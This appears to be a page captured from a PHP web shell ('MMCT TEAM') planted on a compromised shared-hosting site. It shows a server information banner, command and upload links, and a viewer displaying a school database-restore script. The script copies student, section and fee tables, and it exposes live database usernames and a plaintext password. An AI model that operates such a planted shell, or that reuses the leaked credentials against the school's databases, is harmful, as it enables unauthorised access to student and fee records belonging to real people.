MMCT TEAM
Server IP : 2a02:4780:3:2287:0:3736:a38e:8  /  Your IP : 216.73.217.17
Web Server : LiteSpeed
System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64
User : u926327694 ( 926327694)
PHP Version : 7.4.33
Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u926327694/domains/smsoft.in/public_html/smart/tmp/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u926327694/domains/smsoft.in/public_html/smart/tmp/../abhpu-db-restore.php
<?php
set_time_limit(0);
ini_set('memory_limit', '1024M');

try {

    // SOURCE DATABASE
    $source = new mysqli("localhost", "u926327694_test_abhpu", "SmartSchool@987", "u926327694_test_abhpu");

    // TARGET DATABASE
    $target = new mysqli("localhost", "u926327694_ABHPU_clg", "SmartSchool@987", "u926327694_ABHPU_clg");

    if ($source->connect_error) {
        die("Source DB Connection Failed: " . $source->connect_error);
    }

    if ($target->connect_error) {
        die("Target DB Connection Failed: " . $target->connect_error);
    }

    $target->query("SET FOREIGN_KEY_CHECKS=0");

    echo "<h2>Restore Started...</h2>";

    /*
    |--------------------------------------------------------------------------
    | TABLES TO RESTORE
    |--------------------------------------------------------------------------
    */

    $tables = [
        'sections',
        'class_sections',
        'students',
        'student_session',
        'student_fees_master',
        'student_fees_deposite',
        'student_transport_fees'
    ];

    foreach ($tables as $table) {

        echo "<hr>";
        echo "<h3>Processing Table: {$table}</h3>";

        // Fetch all records from source
        $result = $source->query("SELECT * FROM {$table}");

        if (!$result) {
            echo "Error reading source table {$table}: " . $source->error . "<br>";
            continue;
        }

        $inserted = 0;
        $skipped = 0;
        $errors = 0;

        while ($row = $result->fetch_assoc()) {

            $id = (int)$row['id'];

            // Check if already exists
            $check = $target->query("SELECT id FROM {$table} WHERE id = {$id} LIMIT 1");

            if ($check && $check->num_rows > 0) {
                $skipped++;
                continue;
            }

            // Build INSERT query dynamically
            $columns = [];
            $values = [];

            foreach ($row as $column => $value) {

                $columns[] = "`{$column}`";

                if (is_null($value)) {
                    $values[] = "NULL";
                } else {
                    $values[] = "'" . $target->real_escape_string($value) . "'";
                }
            }

            $columns_sql = implode(",", $columns);
            $values_sql = implode(",", $values);

            $insert_sql = "
                INSERT INTO {$table}
                ({$columns_sql})
                VALUES
                ({$values_sql})
            ";

            if ($target->query($insert_sql)) {
                $inserted++;
            } else {
                $errors++;

                echo "<div style='color:red'>";
                echo "Error inserting ID {$id} in {$table}: ";
                echo $target->error;
                echo "</div>";
            }
        }

        echo "<b>Inserted:</b> {$inserted}<br>";
        echo "<b>Skipped:</b> {$skipped}<br>";
        echo "<b>Errors:</b> {$errors}<br>";
    }

    $target->query("SET FOREIGN_KEY_CHECKS=1");

    echo "<hr>";
    echo "<h2 style='color:green'>Restore Completed Successfully</h2>";

} catch (Exception $e) {

    echo "<h2 style='color:red'>Error:</h2>";
    echo $e->getMessage();
}
?>

MMCT - 2023